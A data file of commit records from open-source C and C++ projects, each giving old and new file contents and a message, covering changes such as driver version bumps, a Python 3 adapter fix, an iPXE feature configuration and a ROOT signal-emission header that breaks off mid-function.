{"commit":"3a19cbf530648a63fb3f73630046c561f70c6b71","old_file":"drivers\/scsi\/qla4xxx\/ql4_version.h","new_file":"drivers\/scsi\/qla4xxx\/ql4_version.h","old_contents":"\/*\n * QLogic iSCSI HBA Driver\n * Copyright (c)  2003-2010 QLogic Corporation\n *\n * See LICENSE.qla4xxx for copyright and licensing details.\n *\/\n\n#define QLA4XXX_DRIVER_VERSION\t\"5.02.00-k10\"\n","new_contents":"\/*\n * QLogic iSCSI HBA Driver\n * Copyright (c)  2003-2010 QLogic Corporation\n *\n * See LICENSE.qla4xxx for copyright and licensing details.\n *\/\n\n#define QLA4XXX_DRIVER_VERSION\t\"5.02.00-k11\"\n","subject":"Update driver version to 5.02.00-k11","message":"[SCSI] qla4xxx: Update driver version to 5.02.00-k11\n\nSigned-off-by: Vikas Chaudhary <c251871a64d7d31888eace0406cb3d4c419d5f73@qlogic.com>\nSigned-off-by: James Bottomley <1acebbdca565c7b6b638bdc23b58b5610d1a56b8@Parallels.com>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs"}
{"commit":"315cc71afe5d5245e60ce4564328619c49310b6a","old_file":"Include\/KAI\/Platform\/GameController.h","new_file":"Include\/KAI\/Platform\/GameController.h","old_contents":"\n#ifndef KAI_PLATFORM_GAME_CONTROLLER_H\n#define KAI_PLATFORM_GAME_CONTROLLER_H\n\n#include KAI_PLATFORM_INCLUDE(GameController.h)\n\n#endif \/\/ SHATTER_PLATFORM_GAME_CONTROLLER_H\n\n\/\/EOF\n","new_contents":"\n#ifndef KAI_PLATFORM_GAME_CONTROLLER_H\n#define KAI_PLATFORM_GAME_CONTROLLER_H\n\n#include KAI_PLATFORM_INCLUDE(GameController.h)\n\n#endif\n\n\/\/EOF\n","subject":"Add some color for console output","message":"Add some color for console output\n","lang":"C","license":"mit","repos":"cschladetsch\/KAI,cschladetsch\/KAI,cschladetsch\/KAI"}
{"commit":"931352d4bfab72897dc8012c78d9f64739656226","old_file":"llvmpy\/include\/python3adapt.h","new_file":"llvmpy\/include\/python3adapt.h","old_contents":"#ifndef PYTHON3ADAPT_H\n#define PYTHON3ADAPT_H\n\n#if (PY_VERSION_HEX < 0x03000000)\n\n#define PyBytes_Check               PyString_Check\n#define PyBytes_Size                PyString_Size\n#define PyBytes_AsString            PyString_AsString\n#define PyBytes_FromStringAndSize   PyString_FromStringAndSize\n#define PyBytes_FromString          PyString_FromString\n\n#else\n\n#define PyString_Check PyUnicode_Check\n#define PyString_Size PyUnicode_GET_SIZE\n#define PyString_FromStringAndSize PyUnicode_FromStringAndSize\n#define PyString_FromString PyUnicode_FromString\n\n#define PyInt_Check PyLong_Check\n#define PyInt_FromLong PyLong_FromLong\n#define PyInt_AsLong PyLong_AsLong\n#define PyInt_AsUnsignedLongMask PyLong_AsUnsignedLongMask\n#define PyInt_AsUnsignedLongLongMask PyLong_AsUnsignedLongLongMask\n\n#define PyFile_Check(x) (1)\n\n#if (PY_VERSION_HEX < 0x03030000)\n#define PyString_AsString(x) PyBytes_AsString(PyUnicode_AsUTF8String(x))\n#else\n#define PyString_AsString PyUnicode_AsUTF8\n#endif\n\n#endif  \/\/ (PY_VERSION_HEX < 0x03000000)\n\n#endif  \/\/PYTHON3ADAPT_H\n","new_contents":"#ifndef PYTHON3ADAPT_H\n#define PYTHON3ADAPT_H\n\n#if (PY_VERSION_HEX < 0x03000000)\n\n#define PyBytes_Check               PyString_Check\n#define PyBytes_Size                PyString_Size\n#define PyBytes_AsString            PyString_AsString\n#define PyBytes_FromStringAndSize   PyString_FromStringAndSize\n#define PyBytes_FromString          PyString_FromString\n\n#else\n\n#define PyString_Check PyUnicode_Check\n#define PyString_Size PyUnicode_GET_SIZE\n#define PyString_FromStringAndSize PyUnicode_FromStringAndSize\n#define PyString_FromString PyUnicode_FromString\n\n#define PyInt_Check PyLong_Check\n#define PyInt_FromLong PyLong_FromLong\n#define PyInt_AsLong PyLong_AsLong\n#define PyInt_AsUnsignedLongMask PyLong_AsUnsignedLongMask\n#define PyInt_AsUnsignedLongLongMask PyLong_AsUnsignedLongLongMask\n\n#define PyFile_Check(x) (1)\n\n#if (PY_VERSION_HEX < 0x03030000)\n#define PyString_AsString _PyUnicode_AsString\n#else\n#define PyString_AsString PyUnicode_AsUTF8\n#endif\n\n#endif  \/\/ (PY_VERSION_HEX < 0x03000000)\n\n#endif  \/\/PYTHON3ADAPT_H\n","subject":"Fix memory leak in Python 3.2","message":"Fix memory leak in Python 3.2\n","lang":"C","license":"bsd-3-clause","repos":"llvmpy\/llvmpy,llvmpy\/llvmpy,llvmpy\/llvmpy,llvmpy\/llvmpy,llvmpy\/llvmpy,llvmpy\/llvmpy"}
{"commit":"90c74ab32dc8a19f979975b9910c1810032f1ba9","old_file":"engine\/core\/include\/halley\/core\/api\/input_api.h","new_file":"engine\/core\/include\/halley\/core\/api\/input_api.h","old_contents":"#pragma once\n\n#include <functional>\n#include \"halley\/maths\/vector2.h\"\n#include \"halley\/core\/input\/input_device.h\"\n\nnamespace Halley\n{\n\tclass InputJoystick;\n\tclass InputTouch;\n\n\tclass InputAPI\n\t{\n\tpublic:\n\t\tvirtual ~InputAPI() {}\n\t\t\n\t\tvirtual size_t getNumberOfKeyboards() const = 0;\n\t\tvirtual std::shared_ptr<InputDevice> getKeyboard(int id = 0) const = 0;\n\n\t\tvirtual size_t getNumberOfJoysticks() const = 0;\n\t\tvirtual std::shared_ptr<InputJoystick> getJoystick(int id = 0) const = 0;\n\n\t\tvirtual size_t getNumberOfMice() const = 0;\n\t\tvirtual std::shared_ptr<InputDevice> getMouse(int id = 0) const = 0;\n\n\t\tvirtual Vector<std::shared_ptr<InputTouch>> getNewTouchEvents() = 0;\n\t\tvirtual Vector<std::shared_ptr<InputTouch>> getTouchEvents() = 0;\n\n\t\tvirtual void setMouseRemapping(std::function<Vector2f(Vector2i)> remapFunction) = 0;\n\n\t\tvirtual void requestControllerSetup(int numControllers, std::function<void(bool)> callback) { callback(true); }\n\t};\n}\n","new_contents":"#pragma once\n\n#include <functional>\n#include \"halley\/maths\/vector2.h\"\n#include \"halley\/core\/input\/input_device.h\"\n#include \"halley\/maths\/colour.h\"\n#include \"halley\/data_structures\/maybe.h\"\n\nnamespace Halley\n{\n\tclass InputJoystick;\n\tclass InputTouch;\n\n\tclass InputControllerData {\n\tpublic:\n\t\tColour colour;\n\t\tString name;\n\t};\n\n\tclass InputAPI\n\t{\n\tpublic:\n\t\tvirtual ~InputAPI() {}\n\t\t\n\t\tvirtual size_t getNumberOfKeyboards() const = 0;\n\t\tvirtual std::shared_ptr<InputDevice> getKeyboard(int id = 0) const = 0;\n\n\t\tvirtual size_t getNumberOfJoysticks() const = 0;\n\t\tvirtual std::shared_ptr<InputJoystick> getJoystick(int id = 0) const = 0;\n\n\t\tvirtual size_t getNumberOfMice() const = 0;\n\t\tvirtual std::shared_ptr<InputDevice> getMouse(int id = 0) const = 0;\n\n\t\tvirtual Vector<std::shared_ptr<InputTouch>> getNewTouchEvents() = 0;\n\t\tvirtual Vector<std::shared_ptr<InputTouch>> getTouchEvents() = 0;\n\n\t\tvirtual void setMouseRemapping(std::function<Vector2f(Vector2i)> remapFunction) = 0;\n\n\t\tvirtual void requestControllerSetup(int minControllers, int maxControllers, std::function<void(bool)> callback, Maybe<std::vector<InputControllerData>> controllerData = {}) { callback(true); }\n\t};\n}\n","subject":"Support for additional data to be passed for controller support (implemented on consoles).","message":"Support for additional data to be passed for controller support (implemented on consoles).\n","lang":"C","license":"apache-2.0","repos":"amzeratul\/halley,amzeratul\/halley,amzeratul\/halley"}
{"commit":"472bd7982e5a006fbbe75a0cd88ba494b31719d6","old_file":"ext\/metrics\/metrics.c","new_file":"ext\/metrics\/metrics.c","old_contents":"#include <ruby.h>\n#include \"client.h\"\n\nstatic VALUE metrics_report_metric(VALUE self, VALUE user_id, VALUE key, VALUE val) {\n  char * user_id_str, * key_str;\n  int result = 0;\n\n  user_id_str = RSTRING_PTR(user_id);\n  key_str = RSTRING_PTR(key);\n\n  \/* Figure out what this belongs to and call the apprioriate one. *\/\n  switch(TYPE(val)) {\n    case T_FIXNUM:\n      result = metrici((const char *)user_id_str, (const char *)key_str, FIX2INT(val));\n      break;\n    case T_FLOAT:\n      result = metricd((const char *)user_id_str, (const char *)key_str, NUM2DBL(val));\n      break;\n    default:\n      rb_raise(rb_eTypeError, \"Value is not a valid type. Expecting Fixnum or Float.\");\n      break;\n  }\n\n  return (result > 0) ? T_TRUE : T_FALSE;\n}\n\nvoid Init_metrics(void) {\n  VALUE klass = rb_define_class(\"Metrics\", rb_cObject);\n  rb_define_singleton_method(klass, \"report_metric\", metrics_report_metric, 3);\n}\n","new_contents":"#include <ruby.h>\n#include \"client.h\"\n\nstatic VALUE rb_metrics_report_metric(VALUE self, VALUE user_id, VALUE key, VALUE val) {\n  char * user_id_str, * key_str;\n  int result = 0;\n\n  user_id_str = RSTRING_PTR(user_id);\n  key_str = RSTRING_PTR(key);\n\n  \/* Figure out what this belongs to and call the apprioriate one. *\/\n  switch(TYPE(val)) {\n    case T_FIXNUM:\n      result = metrici((const char *)user_id_str, (const char *)key_str, FIX2INT(val));\n      break;\n    case T_FLOAT:\n      result = metricd((const char *)user_id_str, (const char *)key_str, NUM2DBL(val));\n      break;\n    default:\n      rb_raise(rb_eTypeError, \"Value is not a valid type. Expecting Fixnum or Float.\");\n      break;\n  }\n\n  return (result > 0) ? T_TRUE : T_FALSE;\n}\n\nstatic VALUE rb_metrics_initialize(VALUE self, VALUE hostname, VALUE port) {\n  if(!FIXNUM_P(port)) {\n    rb_raise(rb_eTypeError, \"Port is not a Fixnum.\");\n    return T_FALSE;\n  }\n\n  rb_iv_set(self, \"hostname\", hostname);\n  rb_iv_set(self, \"port\", port);\n\n  return T_TRUE;\n}\n\nvoid Init_metrics(void) {\n  VALUE rb_mMetrics = rb_define_module(\"Metrics\");\n  VALUE rb_cNativeClient = rb_define_class_under(rb_mMetrics, \"NativeClient\", rb_cObject);\n  rb_define_singleton_method(rb_cNativeClient, \"report_metric\", rb_metrics_report_metric, 3);\n  rb_define_method(rb_cNativeClient, \"initialize\", rb_metrics_initialize, 2);\n}\n","subject":"Move this in to an actual class.","message":"Move this in to an actual class.\n","lang":"C","license":"mit","repos":"bradhe\/metrics-client,bradhe\/metrics-client"}
{"commit":"19cc9b027e894e1dff68f18d7d660ac55b20b784","old_file":"include\/flatcc\/flatcc_version.h","new_file":"include\/flatcc\/flatcc_version.h","old_contents":"#define FLATCC_VERSION_TEXT \"0.4.3\"\n#define FLATCC_VERSION_MAJOR 0\n#define FLATCC_VERSION_MINOR 4\n#define FLATCC_VERSION_PATCH 3\n\/* 1 or 0 *\/\n#define FLATCC_VERSION_RELEASED 1\n","new_contents":"#define FLATCC_VERSION_TEXT \"0.5.0-pre\"\n#define FLATCC_VERSION_MAJOR 0\n#define FLATCC_VERSION_MINOR 5\n#define FLATCC_VERSION_PATCH 0\n\/* 1 or 0 *\/\n#define FLATCC_VERSION_RELEASED 0\n","subject":"Prepare for next version version","message":"Prepare for next version version\n","lang":"C","license":"apache-2.0","repos":"dvidelabs\/flatcc,dvidelabs\/flatcc,dvidelabs\/flatcc"}
{"commit":"7b04babeb15fbc287e1a3f2ccc66d0eae753d17b","old_file":"plugin\/lasi\/gvplugin_lasi.c","new_file":"plugin\/lasi\/gvplugin_lasi.c","old_contents":"","new_contents":"\/* $Id$ $Revision$ *\/\n\/* vim:set shiftwidth=4 ts=8: *\/\n\n\/**********************************************************\n*      This software is part of the graphviz package      *\n*                http:\/\/www.graphviz.org\/                 *\n*                                                         *\n*            Copyright (c) 1994-2004 AT&T Corp.           *\n*                and is licensed under the                *\n*            Common Public License, Version 1.0           *\n*                      by AT&T Corp.                      *\n*                                                         *\n*        Information and Software Systems Research        *\n*              AT&T Research, Florham Park NJ             *\n**********************************************************\/\n\n#include \"gvplugin.h\"\n\nextern gvplugin_installed_t gvrender_lasi_types;\n\nstatic gvplugin_api_t apis[] = {\n    {API_render, &gvrender_lasi_types},\n    {(api_t)0, 0},\n};\n\ngvplugin_library_t gvplugin_lasi_LTX_library = { \"lasi\", apis };\n","subject":"Add framework for a new lasi plugin, currently disabled. The lasi library provides UTF-8 support in PostScript","message":"Add framework for a new lasi plugin, currently disabled.\nThe lasi library provides UTF-8 support in PostScript\n","lang":"C","license":"epl-1.0","repos":"pixelglow\/graphviz,MjAbuz\/graphviz,ellson\/graphviz,ellson\/graphviz,kbrock\/graphviz,kbrock\/graphviz,tkelman\/graphviz,tkelman\/graphviz,pixelglow\/graphviz,MjAbuz\/graphviz,tkelman\/graphviz,MjAbuz\/graphviz,jho1965us\/graphviz,BMJHayward\/graphviz,BMJHayward\/graphviz,kbrock\/graphviz,pixelglow\/graphviz,BMJHayward\/graphviz,jho1965us\/graphviz,BMJHayward\/graphviz,tkelman\/graphviz,tkelman\/graphviz,pixelglow\/graphviz,MjAbuz\/graphviz,BMJHayward\/graphviz,kbrock\/graphviz,jho1965us\/graphviz,tkelman\/graphviz,ellson\/graphviz,kbrock\/graphviz,kbrock\/graphviz,BMJHayward\/graphviz,ellson\/graphviz,MjAbuz\/graphviz,MjAbuz\/graphviz,jho1965us\/graphviz,MjAbuz\/graphviz,ellson\/graphviz,pixelglow\/graphviz,pixelglow\/graphviz,kbrock\/graphviz,ellson\/graphviz,BMJHayward\/graphviz,tkelman\/graphviz,ellson\/graphviz,tkelman\/graphviz,kbrock\/graphviz,pixelglow\/graphviz,kbrock\/graphviz,MjAbuz\/graphviz,ellson\/graphviz,kbrock\/graphviz,pixelglow\/graphviz,BMJHayward\/graphviz,jho1965us\/graphviz,jho1965us\/graphviz,jho1965us\/graphviz,ellson\/graphviz,tkelman\/graphviz,jho1965us\/graphviz,BMJHayward\/graphviz,jho1965us\/graphviz,MjAbuz\/graphviz,pixelglow\/graphviz,jho1965us\/graphviz,kbrock\/graphviz,jho1965us\/graphviz,pixelglow\/graphviz,MjAbuz\/graphviz,pixelglow\/graphviz,BMJHayward\/graphviz,tkelman\/graphviz,tkelman\/graphviz,ellson\/graphviz,MjAbuz\/graphviz,BMJHayward\/graphviz,ellson\/graphviz"}
{"commit":"eb87dfe4886db065ce24f1f2db3570497366a559","old_file":"src\/network_os.h","new_file":"src\/network_os.h","old_contents":"#pragma once\n#ifndef INCL_NETWORKOS\n#define INCL_NETWORKOS\n\n#include <iostream>\n#include <memory>\n#include <string>\n#include <vector>\n#include <map>\n#include <cstdlib>\n\n#ifdef WIN32\n#include <WinSock2.h>\n#include <WS2tcpip.h>\n#include <inaddr.h>\n#include <in6addr.h>\n#include <mstcpip.h>\n#define SHUT_RDWR SD_BOTH\ntypedef int socklen_t;\n#pragma comment(lib, \"ws2_32.lib\")\n#undef SetPort\n#else\n#include <sys\/ioctl.h>\n#include <sys\/time.h>\n#include <sys\/types.h>\n#include <unistd.h>\n#include <errno.h>\n#include <fcntl.h>\n#include <sys\/socket.h>\n#include <netinet\/ip.h>\n#include <netinet\/ip6.h>\n#include <netinet\/tcp.h>\ntypedef unsigned int socklen_t;\n#define INVALID_SOCKET (-1)\n#endif\n\n#endif\n\n","new_contents":"#pragma once\n#ifndef INCL_NETWORKOS\n#define INCL_NETWORKOS\n\n#include <iostream>\n#include <memory>\n#include <string>\n#include <vector>\n#include <map>\n#include <cstdlib>\n\n#if defined(_MSC_VER)\n#include <WinSock2.h>\n#include <WS2tcpip.h>\n#include <inaddr.h>\n#include <in6addr.h>\n#include <mstcpip.h>\n#define SHUT_RDWR SD_BOTH\ntypedef int socklen_t;\n#pragma comment(lib, \"ws2_32.lib\")\n#undef SetPort\n#else\n#include <sys\/ioctl.h>\n#include <sys\/time.h>\n#include <sys\/types.h>\n#include <unistd.h>\n#include <errno.h>\n#include <fcntl.h>\n#include <sys\/socket.h>\n#include <netinet\/ip.h>\n#include <netinet\/ip6.h>\n#include <netinet\/tcp.h>\ntypedef unsigned int socklen_t;\n#define INVALID_SOCKET (-1)\n#endif\n\n#endif\n\n","subject":"Use variable that cmake defines instead of specific one","message":"Use variable that cmake defines instead of specific one\n","lang":"C","license":"mit","repos":"Meisaka\/NetPort"}
{"commit":"1b98d6ce44baea807223c67ddf97cc0dc9108741","old_file":"CryptoPkg\/Library\/IntrinsicLib\/MemoryIntrinsics.c","new_file":"CryptoPkg\/Library\/IntrinsicLib\/MemoryIntrinsics.c","old_contents":"\/** @file\r\n  Intrinsic Memory Routines Wrapper Implementation for OpenSSL-based\r\n  Cryptographic Library.\r\n\r\nCopyright (c) 2010, Intel Corporation. All rights reserved.<BR>\r\nThis program and the accompanying materials\r\nare licensed and made available under the terms and conditions of the BSD License\r\nwhich accompanies this distribution.  The full text of the license may be found at\r\nhttp:\/\/opensource.org\/licenses\/bsd-license.php\r\n\r\nTHE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN \"AS IS\" BASIS,\r\nWITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.\r\n\r\n**\/\r\n\r\n#include <Base.h>\r\n#include <Library\/BaseMemoryLib.h>\r\n\r\n\/* OpenSSL will use floating point support, and C compiler produces the _fltused\r\n   symbol by default. Simply define this symbol here to satisfy the linker. *\/\r\nint _fltused = 1;\r\n\r\n\/* Sets buffers to a specified character *\/\r\nvoid * memset (void *dest, char ch, unsigned int count)\r\n{\r\n  \/\/\r\n  \/\/ Declare the local variables that actually move the data elements as\r\n  \/\/ volatile to prevent the optimizer from replacing this function with\r\n  \/\/ the intrinsic memset()\r\n  \/\/\r\n  volatile UINT8  *Pointer;\r\n\r\n  Pointer = (UINT8 *)dest;\r\n  while (count-- != 0) {\r\n    *(Pointer++) = ch;\r\n  }\r\n  \r\n  return dest;\r\n}\r\n","new_contents":"\/** @file\r\n  Intrinsic Memory Routines Wrapper Implementation for OpenSSL-based\r\n  Cryptographic Library.\r\n\r\nCopyright (c) 2010 - 2014, Intel Corporation. All rights reserved.<BR>\r\nThis program and the accompanying materials\r\nare licensed and made available under the terms and conditions of the BSD License\r\nwhich accompanies this distribution.  The full text of the license may be found at\r\nhttp:\/\/opensource.org\/licenses\/bsd-license.php\r\n\r\nTHE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN \"AS IS\" BASIS,\r\nWITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.\r\n\r\n**\/\r\n\r\n#include <Base.h>\r\n#include <Library\/BaseMemoryLib.h>\r\n\r\n\/* OpenSSL will use floating point support, and C compiler produces the _fltused\r\n   symbol by default. Simply define this symbol here to satisfy the linker. *\/\r\nint _fltused = 1;\r\n\r\n\/* Sets buffers to a specified character *\/\r\nvoid * memset (void *dest, char ch, unsigned int count)\r\n{\r\n  \/\/\r\n  \/\/ NOTE: Here we use one base implementation for memset, instead of the direct\r\n  \/\/       optimized SetMem() wrapper. Because the IntrinsicLib has to be built \r\n  \/\/       without whole program optimization option, and there will be some \r\n  \/\/       potential register usage errors when calling other optimized codes.\r\n  \/\/\r\n\r\n  \/\/\r\n  \/\/ Declare the local variables that actually move the data elements as\r\n  \/\/ volatile to prevent the optimizer from replacing this function with\r\n  \/\/ the intrinsic memset()\r\n  \/\/\r\n  volatile UINT8  *Pointer;\r\n\r\n  Pointer = (UINT8 *)dest;\r\n  while (count-- != 0) {\r\n    *(Pointer++) = ch;\r\n  }\r\n  \r\n  return dest;\r\n}\r\n","subject":"Add comments for clarification about memset implementation.","message":"Add comments for clarification about memset implementation.\n\nContributed-under: TianoCore Contribution Agreement 1.0\nSigned-off-by: Long, Qin <qin.long@intel.com>\nReviewed-by: Ye, Ting <ting.ye@intel.com>\nReviewed-by: Fu, Siyuan <siyuan.fu@intel.com>\n\ngit-svn-id: 3158a46dfd52e07d1fda3e32e1ab2e353a00b20f@15662 6f19259b-4bc3-4df7-8a09-765794883524\n","lang":"C","license":"bsd-2-clause","repos":"MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2"}
{"commit":"6386bea6b175941dd7af1036cca991b4b77102fb","old_file":"Bag.h","new_file":"Bag.h","old_contents":"#ifndef Bag_h\n#define Bag_h\n\n#include <unordered_set>\n#include <vector>\n#include <ostream>\n\n\/\/A node in the tree deocomposition\nclass Bag{\nprivate:\n  unsigned long id;\n  std::vector<unsigned long> nodes;\n  unsigned long parent=0;\n  std::vector<unsigned long> children;\npublic:\n  Bag(unsigned long id, std::unordered_set<unsigned long> nodeset){\n    this->id = id;\n    for(unsigned long node:nodeset) nodes.push_back(node);\n  }\n  \n  void set_parent(unsigned long parent){\n    this->parent = parent;\n  }\n  \n  void add_to_children(unsigned long node){\n    children.push_back(node);\n  }\n  \n  std::vector<unsigned long>& get_nodes(){\n    return nodes;\n  }\n  \n  friend std::ostream& operator<<(std::ostream& out, Bag& bag);\n  \n};\n\nstd::ostream& operator<<(std::ostream& out, Bag& bag){\n  out << bag.id << std::endl;\n  out << bag.nodes.size() << std::endl;\n  for(auto node:bag.nodes) out << node << \"\\t\";\n  out << std::endl;\n  out << bag.parent << std::endl;\n  out << bag.children.size() << std::endl;\n  for(auto node:bag.children) out << node << \"\\t\";\n  if(bag.children.size()>0) out << std::endl;\n  return out;\n}\n\n#endif \/* Bag_h *\/\n","new_contents":"#ifndef Bag_h\n#define Bag_h\n\n#include <unordered_set>\n#include <vector>\n#include <ostream>\n\n\/\/A node in the tree deocomposition\nclass Bag{\nprivate:\n  unsigned long id;\n  std::vector<unsigned long> nodes;\n  unsigned long parent=0;\n  std::vector<unsigned long> children;\npublic:\n  Bag(unsigned long id, const std::unordered_set<unsigned long> &nodeset){\n    this->id = id;\n    for(unsigned long node:nodeset) nodes.push_back(node);\n  }\n  \n  void set_parent(unsigned long parent){\n    this->parent = parent;\n  }\n  \n  void add_to_children(unsigned long node){\n    children.push_back(node);\n  }\n  \n  std::vector<unsigned long>& get_nodes(){\n    return nodes;\n  }\n  \n  friend std::ostream& operator<<(std::ostream& out, Bag& bag);\n  \n};\n\nstd::ostream& operator<<(std::ostream& out, Bag& bag){\n  out << bag.id << std::endl;\n  out << bag.nodes.size() << std::endl;\n  for(auto node:bag.nodes) out << node << \"\\t\";\n  out << std::endl;\n  out << bag.parent << std::endl;\n  out << bag.children.size() << std::endl;\n  for(auto node:bag.children) out << node << \"\\t\";\n  if(bag.children.size()>0) out << std::endl;\n  return out;\n}\n\n#endif \/* Bag_h *\/\n","subject":"Make get_nodes return a const&, and optimize uses of this function","message":"Make get_nodes return a const&, and optimize uses of this function\n","lang":"C","license":"mit","repos":"smaniu\/treewidth,smaniu\/treewidth"}
{"commit":"e4d76b921d8f7bcf36c3de63108f2156de578c7c","old_file":"src\/emu\/riscv-processor-logging.h","new_file":"src\/emu\/riscv-processor-logging.h","old_contents":"\/\/\n\/\/  riscv-processor-logging.h\n\/\/\n\n#ifndef riscv_processor_logging_h\n#define riscv_processor_logging_h\n\nnamespace riscv {\n\n\t\/* Processor logging flags *\/\n\n\tenum {\n\t\tproc_log_inst =            1<<0,       \/* Log instructions *\/\n\t\tproc_log_operands =        1<<1,       \/* Log instruction operands *\/\n\t\tproc_log_memory =          1<<2,       \/* Log memory mapping information *\/\n\t\tproc_log_mmio =            1<<3,       \/* Log memory mapped IO *\/\n\t\tproc_log_csr_mmode =       1<<4,       \/* Log machine status and control registers *\/\n\t\tproc_log_csr_hmode =       1<<5,       \/* Log hypervisor status and control registers *\/\n\t\tproc_log_csr_smode =       1<<6,       \/* Log supervisor status and control registers *\/\n\t\tproc_log_csr_umode =       1<<7,       \/* Log user status and control registers *\/\n\t\tproc_log_int_reg =         1<<8,       \/* Log integer registers *\/\n\t\tproc_log_trap =            1<<9,       \/* Log processor traps *\/\n\t\tproc_log_pagewalk =        1<<10,      \/* Log virtual memory page walks *\/\n\t\tproc_log_ebreak_cli =      1<<11,      \/* Log virtual memory page walks *\/\n\t\tproc_log_no_pseudo =       1<<12       \/* Don't decode pseudoinstructions *\/\n\t};\n\n}\n\n#endif\n","new_contents":"\/\/\n\/\/  riscv-processor-logging.h\n\/\/\n\n#ifndef riscv_processor_logging_h\n#define riscv_processor_logging_h\n\nnamespace riscv {\n\n\t\/* Processor logging flags *\/\n\n\tenum {\n\t\tproc_log_inst =            1<<0,       \/* Log instructions *\/\n\t\tproc_log_operands =        1<<1,       \/* Log instruction operands *\/\n\t\tproc_log_memory =          1<<2,       \/* Log memory mapping information *\/\n\t\tproc_log_mmio =            1<<3,       \/* Log memory mapped IO *\/\n\t\tproc_log_csr_mmode =       1<<4,       \/* Log machine status and control registers *\/\n\t\tproc_log_csr_hmode =       1<<5,       \/* Log hypervisor status and control registers *\/\n\t\tproc_log_csr_smode =       1<<6,       \/* Log supervisor status and control registers *\/\n\t\tproc_log_csr_umode =       1<<7,       \/* Log user status and control registers *\/\n\t\tproc_log_int_reg =         1<<8,       \/* Log integer registers *\/\n\t\tproc_log_trap =            1<<9,       \/* Log processor traps *\/\n\t\tproc_log_pagewalk =        1<<10,      \/* Log virtual memory page walks *\/\n\t\tproc_log_ebreak_cli =      1<<11,      \/* Switch to debug CLI on ebreak *\/\n\t\tproc_log_no_pseudo =       1<<12       \/* Don't decode pseudoinstructions *\/\n\t};\n\n}\n\n#endif\n","subject":"Update comment for enum proc_log_ebreak_cli","message":"Update comment for enum proc_log_ebreak_cli\n","lang":"C","license":"mit","repos":"rv8-io\/rv8,rv8-io\/rv8,rv8-io\/rv8"}
{"commit":"95411cf0b5dadfe821f4121721c0f50e806c4630","old_file":"roles\/netbootxyz\/files\/ipxe\/local\/general.h","new_file":"roles\/netbootxyz\/files\/ipxe\/local\/general.h","old_contents":"#define CONSOLE_CMD\t\t      \/* Console command *\/\n#define DIGEST_CMD            \/* Image crypto digest commands *\/\n#define DOWNLOAD_PROTO_HTTPS  \/* Secure Hypertext Transfer Protocol *\/      \n#define IMAGE_COMBOOT         \/* COMBOOT *\/\n#define IMAGE_TRUST_CMD\t      \/* Image trust management commands *\/\n#define NET_PROTO_IPV6        \/* IPv6 protocol *\/\n#define NSLOOKUP_CMD          \/* DNS resolving command *\/\n#define NTP_CMD               \/* NTP commands *\/\n#define PCI_CMD               \/* PCI commands *\/\n#define REBOOT_CMD            \/* Reboot command *\/\n#define TIME_CMD              \/* Time commands *\/\n#define VLAN_CMD              \/* VLAN commands *\/\n","new_contents":"#define CONSOLE_CMD           \/* Console command *\/\n#define DIGEST_CMD            \/* Image crypto digest commands *\/\n#define DOWNLOAD_PROTO_HTTPS  \/* Secure Hypertext Transfer Protocol *\/\n#define IMAGE_COMBOOT         \/* COMBOOT *\/\n#define IMAGE_TRUST_CMD       \/* Image trust management commands *\/\n#define IMAGE_GZIP            \/* GZIP image support *\/\n#define IMAGE_ZLIB            \/* ZLIB image support *\/\n#define NET_PROTO_IPV6        \/* IPv6 protocol *\/\n#define NSLOOKUP_CMD          \/* DNS resolving command *\/\n#define NTP_CMD               \/* NTP commands *\/\n#define PCI_CMD               \/* PCI commands *\/\n#define REBOOT_CMD            \/* Reboot command *\/\n#define TIME_CMD              \/* Time commands *\/\n#define VLAN_CMD              \/* VLAN commands *\/\n","subject":"Enable GZIP and ZLIB options in iPXE","message":"Enable GZIP and ZLIB options in iPXE\n","lang":"C","license":"apache-2.0","repos":"antonym\/netboot.xyz,antonym\/netboot.xyz,antonym\/netboot.xyz"}
{"commit":"18ddee6898472719de2373dac37b0edcf7d02359","old_file":"core\/base\/inc\/TQObjectEmitVA.h","new_file":"core\/base\/inc\/TQObjectEmitVA.h","old_contents":"","new_contents":"\/\/ @(#)root\/base:$Id$\n\/\/ Author: Philippe Canal 09\/2014\n\n\/*************************************************************************\n * Copyright (C) 1995-2000, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#ifndef ROOT_TQObjectEmitVA\n#define ROOT_TQObjectEmitVA\n\n\/\/ TQObject::EmitVA is implemented in its own header to break the\n\/\/ circular dependency between TQObject and TQConnection.\n\n#ifndef ROOT_TQObject\n#include \"TQObject.h\"\n#endif\n#ifndef ROOT_TQConnection\n#include \"TQConnection.h\"\n#endif\n\ntemplate <typename... T> inline\nvoid TQObject::EmitVA(const char *signal_name, Int_t \/* nargs *\/, const T&... params)\n{\n   \/\/ Activate signal with variable argument list.\n   \/\/ For internal use and for var arg EmitVA() in RQ_OBJECT.h.\n\n   if (fSignalsBlocked || fgAllSignalsBlocked) return;\n\n   TList classSigLists;\n   CollectClassSignalLists(classSigLists, IsA());\n\n   if (classSigLists.IsEmpty() && !fListOfSignals)\n      return;\n\n   TString signal = CompressName(signal_name);\n\n   TQConnection *connection = 0;\n\n   \/\/ execute class signals\n   TList *sigList;\n   TIter  nextSigList(&classSigLists);\n   while ((sigList = (TList*) nextSigList()))\n   {\n      TIter nextcl((TList*) sigList->FindObject(signal));\n      while ((connection = (TQConnection*)nextcl())) {\n         gTQSender = GetSender();\n         connection->ExecuteMethod(params...);\n      }\n   }\n   if (!fListOfSignals)\n      return;\n\n   \/\/ execute object signals\n   TIter next((TList*) fListOfSignals->FindObject(signal));\n   while 